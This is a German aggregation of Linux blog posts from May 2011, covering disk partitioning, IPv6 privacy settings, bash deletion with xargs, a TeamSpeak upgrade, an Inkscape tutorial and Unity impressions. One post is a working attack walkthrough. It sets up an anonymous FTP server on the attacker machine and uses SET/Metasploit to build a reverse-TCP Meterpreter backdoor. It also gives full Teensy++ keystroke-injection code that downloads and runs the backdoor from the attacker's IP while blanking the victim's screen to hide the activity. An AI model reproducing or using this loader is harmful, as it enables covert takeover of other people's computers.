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26. Mai 2011

Die perfekte Partitionierung für einen Laptop mit Ubuntu findenby oddstock

Schon seit einigen Jahren versuche ich, die perfekte Partitionierung für meinen Laptop zu finden. Dabei habe ich mir auf dem Weg eine Menge Gedanken gemacht.

Neulich kam das Thema bei einem Gespräch mit Felix von Cirrus7 wieder auf. Ich bin bei 3 möglichen Partitionierungen angekommen:

  1. 1 Ext4-Partition + Swap
  2. 2 Ext4-Partitionen (/ und /home) + Swap
  3. LVM + Ext4-Partition (für /boot) + Swap

1 Ext4-Partition + Swap

Die simpelste Form der Partitionierung, sie ist Standard bei Ubuntu und meines Wissens auch in den meisten anderen Linux-Distributionen. (Gibt es überhaupt eine Distribution die eine andere Partionierung bei der Installation anlegt?) Man muss sich bei der Installation um nix kümmern, Ubuntu macht, was es machen soll und gut.

Vorteile

  • erfordert keine Handarbeit bei der Installation
  • es wird kein Plattenplatz verschwendet
  • der Ubuntu-Installer kann damit umgehen

Nachteile

  • sehr unflexibel
  • bei der Neuinstallation gehen alle Daten flöten

2 Ext4-Partitionen (/ und /home) + Swap

Bei dieser Partitionierung werden die System-Dateien und die Dateien der Benutzer (außer root) voneinander getrennt. Das hat vor allem für Viel-Installierer den Vorteil, dass sie eine Neues Ubuntu oder auch anderes Linux installieren können, ohne dass die Daten der Benutzer gelöscht werden.

Vorteile

  • Benutzer-Daten bleiben auch nach Neuinstallation erhalten

Nachteile

  • es wird evtl. Platz verschwendet
  • die Partitionen müssen während der Installation von Hand angelegt werden

LVM + Ext4-Partition (für /boot) + Swap

Bei einem LVM wird eine logische Schicht über die existerinden Festplatten gezogen. So kann man mehrere Festplatten zu einer Partition verbinden und die Partitionen flexibel anpassen. Wenn man z.B. mehrere Betriebssysteme zum testen installieren will, die man später aber platt macht, kann sich ein LVM anbieten. Zusätzlich muss man noch eine Boot-Partition zum Starten einrichten. Fairerweise muss man sagen, LVM ist vor allem für Server gedacht.

Vorteile

  • super flexibel
  • man kann damit schon auch mal ein wenig angeben :)

Nachteile

  • für Anfänger völlig ungeeignet
  • die Partitionen müssen in der Konsole angelegt werden - d.h. keine Installation mit grafischem Installer
  • auch Änderungen an den Partitionen müssen in der Konsole angelegt werden

Ich selbst verwende 2 Ext4-Partitionen + Swap, weil ich recht häufig mal ein neues System installiere. Ingesamt bin ich aber mittlerweile wieder der Meinung: Keep it simple! - deswegen würde ich allgemein 1 Ext4-Partition + Swap empfehlen; speziell wenn man Ubuntu nur benutzt und nicht damit herumspielt.

Wie haltet ihr es? Welche Form der Partitionierung benutzt ihr? Was würdet ihr noch ergänzen?

Warum ist Ubuntu besser als X - Blogparade

 

Am 11.03.2011 hatte ich hier im Blog ja eine Blogparade zum Thema: Warum ist Ubuntu besser als X?

Mir ging es bei der Frage darum, warum ihr Ubuntu benutzt und nicht ein anderes Betriebssystem wie Windows, OS X oder Fedora? Ich wollte dabei aber eben auch ein paar konkrete Argumente hören, was denn genau besser ist als bei anderen Betriebssystemen. Häufig ist die Wahl des Betriebssystems ja nur noch eine Glaubensfrage – genau davon wollte ich weg.

Auf den Aufruf zur Blogparade gab es drei Antworten, für die ich mich herzlich bedanken möchte und die ich im Folgenden noch kurz zusammenfasse:

  1. Ubuntu macht Werbung von Gregor Fröhlich

    Gregor verweist in seinem Blog-Artikel auf mehrere Werbeclips für Ubuntu, die die Vorteile von Ubuntu herausstellen. Erwähnt werden die kürzere Startzeit, das komplettere Softwarepaket und die höhere Sicherheit, weil das System virenfrei ist.

  2. Warum ich Ubuntu benutze von Picomol

    Bei Picomol geht es nicht um einen Vergleich von Ubuntu zu einem anderen Betriebssystem, sondern warum er Ubuntu benutzt. Letztlich ist die Wahl des Betriebssystems etwas Individuelles.

    Seine Gründe für Ubuntu sind:

    • die virtuellen Arbeitsflächen
    • man kann jederzeit einen LAMP-Stack aufsetzen
    • man ist bei Ubuntu ganz nah an der Entwicklung dran (Stichwort: Spielzeug)
    • mann kann Ubuntu anpassen, wie man es will, und
    • letztlich der freie Gedanken von Ubuntu und Open-Source
  3. Why Choose Ubuntu von Martin Gebhardt

    Martin arbeitet als Webdesigner und Sysadmin, deswegen ist für ihn ein System wichtig, dass unkompliziert und zuverlässig arbeitet, ein Office und einen schnellen Browser besitzt.

    Für Martin sind es die Kleinigkeiten, die Ubuntu besser als z.B. Windows 7 machen:

    • So ist schon ein guter Editor installiert,

    • auch das Kopieren von Dateien auf den Webserver geht mit Bordmitteln und

    • als Browser ist Firefox installiert.

     

    Falls man noch Software extra braucht, kann man sie mit dem Software-Center ganz einfach nachinstallieren. Schlussendlich spart Ubuntu einem Webworker einfach Zeit.

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In einem Artikel auf heise.de bin ich auf die Problematik der „fehlenden“ Privatsphäre, welche die Aktvierung von IPV6 mit sich bringt, aufmerksam geworden.

Kurz zusammengefasst ist die Problemstellung folgende:
Wird bei aktivierter automatischer Konfiguration der IPV6-Adresse, verfahrensbedingt die MAC-Adresse in die globale IPV6-Adresse aufgenommen. Hierdurch kann man eindeutig im Netz identifiziert werden.

So ganz blick ich das Verfahren noch nicht, ich muss mir den Artikel noch 10 mal durchlesen ;)

Dieses „Feature“ ist standardmäßig bei den Linux Distributionen aktiviert, lt. dem Heise-Artikel können unter Debian,Ubuntu und Fedora die sog. Privacy Extensions wie folgt manuell eingeschalten werden. Dadurch wird die IPV6-Adresse anhand von zufälligen Daten generiert:

Dazu in der Datei /etc/sysctl.conf für jede! Netzwerkkarte einen Eintrag mit der Zeile net.ipv6.conf.NETZWERKKARE.use_tempaddr = 2 einfügen.

Das sieht dann z. B. so für Ethernet aus:

net.ipv6.conf.eth0.use_tempaddr = 2

und für Wlan:

net.ipv6.conf.wlan0.use_tempaddr = 2

Oder man setzt den Wert über die Shell als Root mittels:

sysctl net.ipv6.conf.wlan0.use_tempaddr=2
Die genaue Bezeichnung seiner Netzwerkkarten findet man in der Datei /etc/network/interfaces

Update:
Bei Nutzern des Networkmanagers ist die interfaces leer, hier kann man sich beispielsweise mit den Kommandos

ifconfig -> Ethernet
iwconfig -> Wireless

behelfen

Bei Ubuntu muss man unter /etc/sysctl.conf noch zusätzlich zu o. g. Zeilen die Zeile net.ipv6.conf.default.use_tempaddr=2 eintragen

Auf jeden Fall sollte man sich den Artikel auf heise.de zu Gemüte führen, dort wird das IPV6-Verfahren ausführlich erklärt und zusätzlich auf alle gängigen Betriebssystemen eingegangen (Linux, Windows, Mac OSX, Android und iOS).


Warzone 2100 lässt sich mit meiner Konfiguration nicht auf einem 2-Bildschirm System spielen. Dort funktioniert leider auch dieser Trick nicht. Da man die Auflösung für einen Bildschirm auch nicht im Spiel einstellen konnte war ein Blick in die Konfigurationsdatei nötig. Diese befindet sich unter ~/.warzone2100-2.2/config.

Dort kann man die Auflösung im Fenstermodus dann so einstellen, das sie sich nur über einen Bildschirm erstreckt. Allerdings bedient sich das Interface dann leider ab und an etwas hakelig.

Weitere Informationen gibt es unter:
http://wz2100.net/
http://de.wikipedia.org/wiki/Warzone_2100

Mit einem bestimmten Problem habe ich mich in letzter Zeit herumgeärgert: Ich möchte einen Haufen Dateien deren Namen über den Standardeingabekanal der Bash hereingeflogen kommen mit einem Befehl löschen. Natürlich könnte ich jede einzelne Datei angeben. Diese Methode wird aber sehr aufwändig wenn ich alle Dateien löschen möchte, deren Namen nicht in der Liste auftauchen.

Achtung, dank mehrerer Kommentare habe ich gelesen, dass ls hier die falsche Wahl ist. Eine bessere Alternative scheint find zu sein.

Anwendungsbeispiel

Ich habe mehrere ähnliche Dateien in meinem Directory. Diese werden automatisiert bearbeitet und das Ergebnis jeweils in einer Datei mit dem Zusatz Clean gespeichert. Nun interessieren mich die ursprünglichen Dateien nicht mehr und ich möchte sie ebenso automatisiert löschen. (Nein, ein Ersetzen der Urprungsdateien gleich beim Bearbeiten fällt leider aus technischen Gründen aus.) Ein kurzes ls gibt uns z.B. folgende Liste aus:

taach@prompt:~/test$ ls
Datei 1 Clean.txt
Datei 1.txt
Datei 2 Clean.txt
Datei 2.txt
Datei 3 Clean.txt
Datei 3.txt
Datei 4 Clean.txt
Datei 4.txt
Datei 5 Clean.txt
Datei 5.txt

Zum Glück stellt ls mit --ignore bereits eine Möglichkeit Dateinamen zu ignorieren die bestimmte Muster enthalten:

taach@prompt:~/test$ ls –ignore=*Clean.txt
Datei 1.txt
Datei 2.txt
Datei 3.txt
Datei 4.txt
Datei 5.txt

Diese Variante ist jedoch Case sensitive. Wenn das Muster also in verschiedener Groß-/Kleinschreibung vorliegt, empfiehlt es sich stattdessen grep einzusetzen:

taach@prompt:~/test$ ls | grep -iv Clean
Datei 1.txt
Datei 2.txt
Datei 3.txt
Datei 4.txt
Datei 5.txt

Die Option -i von grep schaltet die Case sensitivity aus und -v negiert die Auswahl. In diesem Fall werden also alle Zeilen entfernt in denen das Muster Clean oder clean vorkommt. An sich könnten wir nun diese Liste rm übergeben. Dafür verwenden wir xargs, welches notwendig ist, dass rm die Liste aus der Standardeingabe auch wirklich übergeben wird. Wenn die Dateinamen jedoch, wie in diesem Fall, Leerzeichen enthalten bringt uns rm diese Fehlermeldung:

taach@prompt:~/test$ ls –ignore=*Clean.txt | xargs rm
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „01.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „02.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „03.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „04.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „05.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden

Das passiert deswegen, weil die Leerzeichen ungeschützt vorliegen und die Bash, bevor die Liste nun endgültig rm übergeben wird, diese als Ende eines Dateinamens interpretiert. Wir müssen also xargs sagen, dass die Leerzeichen maskiert bleiben müssen ('\ ' statt ' '), damit die Bash sie ignoriert. Dazu gibt es die Option -0 welche jegliche Maskierungen aufrecht erhält:

taach@prompt:~/test$ ls –ignore=*Clean.txt | xargs -0 rm
rm: Entfernen von „Datei 01.txt\nDatei 02.txt\nDatei 03.txt\nDatei 04.txt\nDatei 05.txt\n“ nicht möglich: Datei oder Verzeichnis nicht gefunden

Verdammt, was ist denn jetzt schon wieder los? Ah, zwischen den Dateinamen ist plötzlich ein Zeichen aufgetaucht: '\n' Dieses Zeichen, auch Endline genannt, kennzeichnet einen Zeilenumbruch. Da wir xargs gesagt haben, dass alle Maskierungen aufrecht erhalten bleiben sollen, liegt nun auch der Zeilenumbruch als Reintext vor. Und da das Zeichen nun einfacher Text ist wird die ganze lange Wurst wie ein einziger Dateiname behandelt. Nun müssen wir xargs also noch mitteilen, wo die Dateinamen enden. Dazu verwenden die Option -d mit dem Parameter '\n':

taach@prompt:~/test$ ls –ignore=*Clean.txt | xargs -0 -d ‘\n’ rm

und siehe da alle Dateien, mit Ausnahme derer mit Clean im Namen wurde gelöscht:

taach@prompt:~/test$ ls
Datei 1 Clean.txt
Datei 2 Clean.txt
Datei 3 Clean.txt
Datei 4 Clean.txt
Datei 5 Clean.txt

Das ganze geht natürlich auch so:

taach@prompt:~/test$ rm `ls –ignore=*Clean.txt | xargs -0 -d ‘\n’`

bzw. im Bash-Style:

taach@prompt:~/test$ rm $(ls –ignore=*Clean.txt | xargs -0 -d ‘\n’)

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This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.

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25. Mai 2011

Da die Linuxwelt recht schnelllebig ist und sich letzter Zeit gerade auf dem Desktop massive Änderungen ergeben haben, Stichwort KDE4, Gnome 3 und Unity, möchte ich gerne wissen wer welches Environment auf seinem/n Desktop(s) hat. Dazu eine kleine Umfrage:

View This Poll

Ich habe derzeit auf dem Netbook LXDE (Lubuntu) wegen dem geringen Ressourcenverbrauch laufen und auf dem Desktop Debian Testing mit Gnome 2.30.

Wenn ihr wollt könnt ihr einen Kommentar hinterlassen warum ihr Desktop XY benutzt oder was Euch zum Umstieg bewogen hat. Aber bitte sachlich bleiben, d. h. argumentieren, siehe Erörterung/Argumentation. ;)
Trollversuche werden kommentarlos gelöscht.

Auf die Antworten / Umfrageergebnis bin ich schon gespannt.

Planetenleser müssen evtl. auf den Artikel klicken, damit die Umfrage erscheint.


24. Mai 2011

Demnächst steht die Renovierung meines Rechners an, derzeit läuft ein Ubuntu 10.04 darauf. Wie ich schon verkündet habe, und nach dem was ich bisher so von Unity und Co. gesehen habe, ist meine Zeit mit Ubuntu demnächst dann wohl rum.

Ich habe mir Unity angeschaut und es überzeugt mich nicht. Aus mehreren Gründen. Weil versucht wird, die Mac-Oberflächte mit dem Global Menu nachzubauen, zum Beispiel. Ebensowenig sieht Gnome3 aus, als würde es mir gefallen können.

Die Suche nach Alternativen wird mittlerweile schwerer, was mir eventuell gefallen könnte, ist Crunchbang oder direkt Debian 6. Schlüssig bin ich mir da allerdings noch nicht, vor allem da mein Desktop-Rechner nach wie vor “familienkompatibel” bleiben sollte, sonst müsste ich einen zweiten Rechner hinstellen und eigentlich will ich das eher weniger.

Aurora wird nicht fertig, Mint ist noch scheinbar noch unentschieden und testet verschiedende Window Manager / Desktopvarianten. Ich werde mir dann demnächst mal Crunchbang angucken, sowohl in der OpenBox als auch in der Xfce-Variante. Reduktion ist ja manchmal auch nicht das schlechteste.

Ich habe in einer Veröffentlichung im Security-Magazin hakin9.org mal über das Framework SET (Social Engeineering Toolkit) geschrieben. Darin gab es seither immer ein Punkt, den ich nicht nutzen konnte. So lässt sich automatisch eine Attacke aufbauen, welche über den Teensy++ eine Backdoor vom Angreifer nachlädt und dann ausführt.

Alles was es dazu braucht, ist ein teensy++ 2.0, ein Linux (ich verwende BT5), SET, Metasploit, Teensyduino und ein Opfer (dies bist natürlich auch du). Eine feine Sache also :)

Nur wenn ich ehrlich bin, war ich von der Umsetzung durch SET mehr als enttäuscht! Die Attacke basiert auf einem Stück Code das versucht superintelligent zu sein, und dadurch alles versaut… So dauert das Laden der Backdoor zwar gerade mal ein paar Sekunden, jedoch, um überhaupt etwas laden zu können, wird zuerst 10 Sekunden lang eine Datei geschrieben, was ja auch nicht unbedingt das Gelbe vom Ei ist. Aber was in meinen Augen überhaupt nicht geht, der Code funktioniert nicht immer und das nur unter dem Englischen Tastaturlayout – alles andere als ausgereift also!

Also habe ich mich an die Umsetzung einer eigenen Lösung gemacht. Wer SET und Metasploit nicht selbst installieren will, der nimmt einfach die neuste Version von Backtrack, da ist alles bereits integriert.

Vorweg kann ich sagen, meine Lösung zum Laden der Backdoor basiert auf FTP. Ich bin mir durchaus bewusst, dass dieses Protokoll öfters gesperrt ist von LAN ins WAN bei grösseren Firmen, jedoch wenn ich über den Teensy++ angreife, dann brauche ich ja auch physikalischen Zugriff zur Maschine zum Einstecken, wodurch es dann sowieso meistens für Angriffe innerhalb des LAN genutzt wird.
Der Vorteil aber, da ftp als Standard auf einer Windows-Maschine schon vorhanden ist, muss ich nicht zuerst noch ein ganzes Downloadscript aufbauen, sondern kann direkt auf den FTP-Client der Konsole zurückgreifen, wodurch die Backdoor innert zwei bis drei Sekunden geladen und ausgeführt ist!

Damit das aber auch klappt, musste ich das angreifende System erst vorbereiten. Für den FTP-Server habe ich auf vsftpd zurückgegriffen. Die Konfiguration musste ich dabei nur minimal anpassen:

anonymous_enable=YES
anon_root=/var/www/

local_enable=NO
write_enable=NO

local_umask=022
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
chroot_local_user=YES
chroot_list_enable=NO
listen=YES

pam_service_name=vsftpd
userlist_enable=NO
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list
tcp_wrappers=YES

Wird nun der Dienst gestartet, so kann ich über den Anonymous-Benutzer von meinem Opfer (natürlich Windows ;) ) auf /var/www des Angreifers zugreifen:

ftp -A 192.168.0.20

Nun verwende ich SET, um die benötigte Backdoor zu generieren. Dazu einfach den folgenden Ablauf einhalten:

  • SET starten
  • 6 für Teensy USB HID Attack Vector
  • 2 für WSCRIPT HTTP GET MSF Payload
  • yes um einen Payload zu kreieren
  • 2 für meinen Lieblingspayload Windows Reverse_TCP Meterpreter ;)
  • ENTER für die Standard Backdoored Executable
  • ENTER für den default Port

Nun wird die Backdoor x.exe generiert und unter /var/www/ verfügbar gemacht. Weiter wurde auch noch eine Datei reports/teensy.pde erstellt, aber wie schon beschrieben, ist dieser Loader einfach Schrott. Deshalb habe ich auch meinen eigenen entwickelt:

#include <phukdlib.h>

void setup() {
  delay(10000);

  CommandAtRunBarMSWIN("displayswitch.exe /external"); //nur unter Windows 7
  delay(500);
}

void loop () {
  CommandAtRunBarMSWIN("cmd /k");
  delay(500);
  Keyboard.print("ftp -A 192.168.0.20");
  PressAndRelease(KEY_ENTER, 1);
  Keyboard.print("GET x.exe");
  PressAndRelease(KEY_ENTER, 1);
  delay(500);
  Keyboard.print("quit");
  PressAndRelease(KEY_ENTER, 1);
  Keyboard.print("exit");
  PressAndRelease(KEY_ENTER, 1);

  CommandAtRunBarMSWIN("%userprofile%/x.exe");

  delay(3600000);
}

Alles was darin angepasst werden muss, ist die IP-Adresse zum angreifenden System. Und gegebenen Falls muss Zeile 6 entfernt werden. Diese funktioniert leider nur unter Windows 7 und bringt die Maschine dazu auf einen externen Monitor zu wechseln. Und während Windows für etwa 10 Sekunden versucht, diesen zu finden, wird das aktuelle Display deaktiviert, weshalb all die aufblitzenden Fenster und Terminals noch weniger auffallen.

Diese Datei wird nun wie jede andere zuerst in eine .HEX-Datei kompiliert und dann auf den teensy++ geflashed:

Wird der teensy++ nun auf einer Maschine eingesteckt, so geht das Display aus und das nächste was das Opfer sieht ist eine Fehlermeldung:

Selbst ein geübterer Benutzer wird denken, er habe wohl aus Versehen eine Tastenkombination gedrückt. Was im Hintergrund passiert ist, das wird er nicht erkennen:

Da ich mein Loader nicht für mich behalten wollte, habe ich mit Dave Kennedy Kontakt aufgenommen und ihm meine Idee erklärt. Wie es scheint, ist er nicht so offen für fremde Vorschläge, weshalb alles endete mit: “I won’t add ftp to teensy”. Seis drum, dann wird es halt nur hier veröffentlicht :)


Das könnte dich auch interessieren:

  1. Der Alptraum für jeden Computer
  2. FTP Server mit User Restriction

23. Mai 2011

Eben kam mir die Idee in den Kopf ob man Unity mit Plasma nachbauen kann. Man nehme als Basis die Netbook Shell, füge einige Widgets hinzu und nach kurzer Zeit hat man schon etwas das grob wie Unity aussieht und sich in etwa auch so bedienen lässt. Nachbauen ist einfach, aber ein schlüssiges Konzept zu erdenken ist eine Aufgabe mit der man ewig zubringen kann. In Anbetracht der kurzen Zeit die ich hineingesteckt habe funktioniert schon ziemlich viel. Ein tolles Beispiel dafür wie flexibel Plasma doch ist.

Wildes Rumgefrickel mit Plasma

Wildes Rumgefrickel mit Plasma

Einige Kleinigkeiten fehlen noch (z.B. ein besseres Dock als Smooth Tasks). Mal schauen was sich da noch so findet.

Edit: meine Version stinkt, schaut euch lieber das hier an. Wurde auf dem UDS wohl gebaut.

Warum ist Ubuntu besser als X - Blogparade

 

Am 11.03.2011 hatte ich hier im Blog ja eine Blogparade zum Thema: Warum ist Ubuntu besser als X?

Mir ging es bei der Frage darum, warum ihr Ubuntu benutzt und nicht ein anderes Betriebssystem wie Windows, OS X oder Fedora? Ich wollte dabei aber eben auch ein paar konkrete Argumente hören, was denn genau besser ist als bei anderen Betriebssystemen. Häufig ist die Wahl des Betriebssystems ja nur noch eine Glaubensfrage - genau davon wollte ich weg.

Auf den Aufruf zur Blogparade gab es drei Antworten, für die ich mich herzlich bedanken möchte und die ich im Folgenden noch kurz zusammenfasse:

  1. Ubuntu macht Werbung von Gregor Fröhlich

    Gregor verweist in seinem Blog-Artikel auf mehrere Werbeclips für Ubuntu, die die Vorteile von Ubuntu herausstellen. Erwähnt werden die kürzere Startzeit, das komplettere Softwarepaket und die höhere Sicherheit, weil das System virenfrei ist.

  2. Warum ich Ubuntu benutze von Picomol

    Bei Picomol geht es nicht um einen Vergleich von Ubuntu zu einem anderen Betriebssystem, sondern warum er Ubuntu benutzt. Letztlich ist die Wahl des Betriebssystems etwas Individuelles.

    Seine Gründe für Ubuntu sind:

    • die virtuellen Arbeitsflächen
    • man kann jederzeit einen LAMP-Stack aufsetzen
    • man ist bei Ubuntu ganz nah an der Entwicklung dran (Stichwort: Spielzeug)
    • mann kann Ubuntu anpassen, wie man es will, und
    • letztlich der freie Gedanken von Ubuntu und Open-Source
  3. Why Choose Ubuntu von Martin Gebhardt

    Martin arbeitet als Webdesigner und Sysadmin, deswegen ist für ihn ein System wichtig, dass unkompliziert und zuverlässig arbeitet, ein Office und einen schnellen Browser besitzt.

    Für Martin sind es die Kleinigkeiten, die Ubuntu besser als z.B. Windows 7 machen:

    • So ist schon ein guter Editor installiert,

    • auch das Kopieren von Dateien auf den Webserver geht mit Bordmitteln und

    • als Browser ist Firefox installiert.

     

    Falls man noch Software extra braucht, kann man sie mit dem Software-Center ganz einfach nachinstallieren. Schlussendlich spart Ubuntu einem Webworker einfach Zeit.

Warum ist Ubuntu besser als X - Blogparade

 

Am 11.03.2011 hatte ich hier im Blog ja eine Blogparade zum Thema: Warum ist Ubuntu besser als X?

Mir ging es bei der Frage darum, warum ihr Ubuntu benutzt und nicht ein anderes Betriebssystem wie Windows, OS X oder Fedora? Ich wollte dabei aber eben auch ein paar konkrete Argumente hören, was denn genau besser ist als bei anderen Betriebssystemen. Häufig ist die Wahl des Betriebssystems ja nur noch eine Glaubensfrage – genau davon wollte ich weg.

Auf den Aufruf zur Blogparade gab es drei Antworten, für die ich mich herzlich bedanken möchte und die ich im Folgenden noch kurz zusammenfasse:

  1. Ubuntu macht Werbung von Gregor Fröhlich

    Gregor verweist in seinem Blog-Artikel auf mehrere Werbeclips für Ubuntu, die die Vorteile von Ubuntu herausstellen. Erwähnt werden die kürzere Startzeit, das komplettere Softwarepaket und die höhere Sicherheit, weil das System virenfrei ist.

  2. Warum ich Ubuntu benutze von Picomol

    Bei Picomol geht es nicht um einen Vergleich von Ubuntu zu einem anderen Betriebssystem, sondern warum er Ubuntu benutzt. Letztlich ist die Wahl des Betriebssystems etwas Individuelles.

    Seine Gründe für Ubuntu sind:

    • die virtuellen Arbeitsflächen
    • man kann jederzeit einen LAMP-Stack aufsetzen
    • man ist bei Ubuntu ganz nah an der Entwicklung dran (Stichwort: Spielzeug)
    • mann kann Ubuntu anpassen, wie man es will, und
    • letztlich der freie Gedanken von Ubuntu und Open-Source
  3. Why Choose Ubuntu von Martin Gebhardt

    Martin arbeitet als Webdesigner und Sysadmin, deswegen ist für ihn ein System wichtig, dass unkompliziert und zuverlässig arbeitet, ein Office und einen schnellen Browser besitzt.

    Für Martin sind es die Kleinigkeiten, die Ubuntu besser als z.B. Windows 7 machen:

    • So ist schon ein guter Editor installiert,

    • auch das Kopieren von Dateien auf den Webserver geht mit Bordmitteln und

    • als Browser ist Firefox installiert.

     

    Falls man noch Software extra braucht, kann man sie mit dem Software-Center ganz einfach nachinstallieren. Schlussendlich spart Ubuntu einem Webworker einfach Zeit.

The post Zusammenfassung Blogparade vom 11.03.2011 appeared first on Rockiger.

Am heutigen Tag ist der erste Release Candidate vom bekannten Teamspeak 3 als Serverversion erschienen. Das Clientpendant erschien bereits einige Zeit zuvor. Auf meinem Server, auf dem auf dieser Blog liegt, betreibe ich einen Teamspeak-Server mit einer Non-Profit-Lizenz, also kostenlos. Zuvor lief noch die Beta 30 (wie ich sagen muss SEHR stabil), doch natürlich ist eine neuere, stabile Version dem vorzuziehen.

Zunächst wählte ich auf der Download-Seite von Teamspeak die Linux Server-Version für 32 Bit (x86) aus und speicherte mir den Link im Zwischenspeicher um dann auf dem Server per

wget http://teamspeak.gameserver.gamed.de/ts3/releases/rc1/
teamspeak3-server_linux-x86-3.0.0-rc1.tar.gz

das .tar.gz Archiv herunterzuladen. Dies entpackte ich schließlich einfach per

tar xfvz teamspeak3-server_linux-x86-3.0.0-rc1.tar.gz

Ich bewegte mich zuvor in das passende Verzeichnis, sodass direkt die neuen Dateien in das Teamspeak-Verzeichnis entpackt wurden. Natürlich legte ich zuvor ein Backup an, um nichts kaputtzumachen, jedoch benötigte ich das nicht mehr.

Auf meinem Server starte ich den Teamspeak-Server mit dem eigens dafür erstellten Benuter “ts3server” –  das hat sicherheitstechnische Gründe -, sodass ich nun noch den CHMOD bzw. die Dateirechte anpassen musste, da ich das Verzeichnis vom root-Nutzer aus entpackt hatte. Dies führte ich per

chown -R ts3server /root/teamspeak3-server_linux-x86

aus, sodass ich dann bei der Anmeldung mit ts3server auch die nötigen Rechte hatte, um den Server zu starten. Große Veränderungen die man beachten muss gibt es nicht, jedoch habe ich von diversen Änderungen im Zusammenhang mit MySQL gelesen: http://forum.teamspeak.com/showthread.php/64536-TeamSpeak-3-Server-3.0.0-rc1-available?p=284229#post284229 .

Es ist auf jeden Fall wert den oben verlinkten Foreneintrag einmal zu lesen, da man so 1.) alle Änderungen vor Augen hat und 2.) eventuelle Schwierigkeiten frühzeitig bemerkt.

22. Mai 2011



Wir beginnen unsere Zeichnung damit, in dem wir mit dem Werkzeug “Kreise und Ellipsen erstellen” Kreise und Ellipsen in verschiedenen Größen zeichnen und diese wie auf Abbildung 1 zu sehen, zusammensetzen. Einige der Ellipsen sollten dabei etwas gedreht werden. Wenn eine Form in etwa wie auf der Abbildung 1 entstanden ist selektieren wir alle gezeichneten Kreise und Ellipsen und vereinigen diese zu einem Pfad, entweder über Pfad > Vereinigung oder Strg++.
Dieses Objekt füllen wir mit einem Farbverlauf von weiss, nach einem 10%igem Grau. Von dem Objekt machen wir mit Strg+D noch ein Duplikat und füllen dieses mit einem radialem Farbverlauf von Weiß nach transparent. Dieses Objekt bekommt noch eine Konturlinie, deren Stärke allerdings von der Größe des gezeichneten Objektes abhängt. Die Farben dieser findet man auf Abbildung 3 und so sollte die Konturlinie auch aussehen.

Jetzt ist es an der Zeit unser Eigelb zu zeichnen. Dafür wählen wir das Werkzeug “Kreise und Ellipsen erstellen” und zeichnen einen Kreis, die Strg-Taste dazu gedrückt halten dann wird der Kreis auch wirklich rund. Damit nachher die Farbverhältnisse stimmen, gebe ich hier eine Größe vor und zwar 75x75px. Dann können wir diesen Kreis zweimal duplizieren und schieben die Duplikate beiseite, damit wir arbeiten können. Das im Ebenenstapel obenliegende also das zuletzt erzeugte färben wir mit einem kreisförmigen Farbverlauf, mit den in Abbildung 1 gezeigten Farben. Achtung, die Farbfelder haben keine Transparenz sondern stellen die volle Farbe dar, damit sie mit der Pipette abgenommen werden kann. Die genauen Werte stehen neben den Feldern, so das nur der Alphakanal auf diesen Wert gesetzt werden muss.

Das zweite Duplikat des Kreises wird mit den Farben. Unser Originalkreis, der ganz unten im Ebenenstapel sein sollte bekommt die orange Füllung wie auf Abbildung 3 zu sehen und dann eine Konturlinie mit der Stärke 18, die mit einem radialen Farbverlauf gefüllt wird. Auch hier die Farben haben keine Transparenz und der genaue Wert steht daneben. Jetzt können wir die 3 Einzelteile wieder zusammenfügen. Am besten geht das in dem man alle selektiert und mit Hilfe des Werkzeuges “Objekte ausrichten” einmal horizontal/vertikal auf die Auswahl zentriert.

Wir zeichnen noch eine Ellipse die wir mit einem linearem Farbverlauf von weiss nach transparent füllen. Diese Ellipse setzen wir auf die obere Hälfte unseres Eigelb, so wie auf den Abbildungen zu sehen. Dann kann unser Eigelb gruppiert werden und auf unser Eiweiß gesetzt werden und notfalls in der Größe durch skalieren angepaßt werden. Und fertig ist auch schon unser Spiegelei. Wer sich mein Spiegelei einmal anschauen möchte, findet das SVG hier zum Download.

Das Ganze gibt es wie immer natürlich auch noch einmal als Screencast.

Seit unserer Release Party Ende April und meinen ersten Erfarungen mit Natty habe ich jetzt bereits fast einen Monat mit Natty und Unity gearbeitet.

In das Bedienerkonzept von Unity musste ich mich wohl wie viele andere erst einmal eingewöhnen. Das hat ein wenig gedauert aber ich denke jetzt habe ich die Vorteile von Unity für mich gefunden.

Alles Links

Dass fast alles links sein soll, ist schon etwas gewöhnungsbedürftig. Wie aber auch schon in vielen Literaturen beschrieben, ist das Konzept links schon eine Ewigkeit verbreitet. So werden in den Grundlagen der visuellen Kommunikation verschiedene Ansätze für das linke Arbeiten beschrieben. Eines der wichtigsten Elemente ist die Tatsache, dass wir in unseren Breitengraden von links nach rechts lesen und uns eigentlich immer von links orientieren. Auch das Thema Licht von oben Links kommt immer wieder vor, so z.B. sind dann die Schattenwürfe entsprechend unten rechts. So kann man sich das einmal in einem Museum genauer ansehen. Dazu können wir in das nationale Museum in London (England) gehen und die dort ausgestellten Bilder einmal betrachten. Schaut man sich die Bilder genauer an, so sieht man z.B. dass auf den meisten Bildern das Licht von oben links kommt (Schatten unten rechts). Hier einige Beispiele die das zeigen:

Ich habe mich mit Unity schnell daran gewöhnt, dass alles links sein soll. Meine Aktivitäten mit der Maus beziehen sich jetzt vorallem auf die obere linke Ecke.

Alles schneller

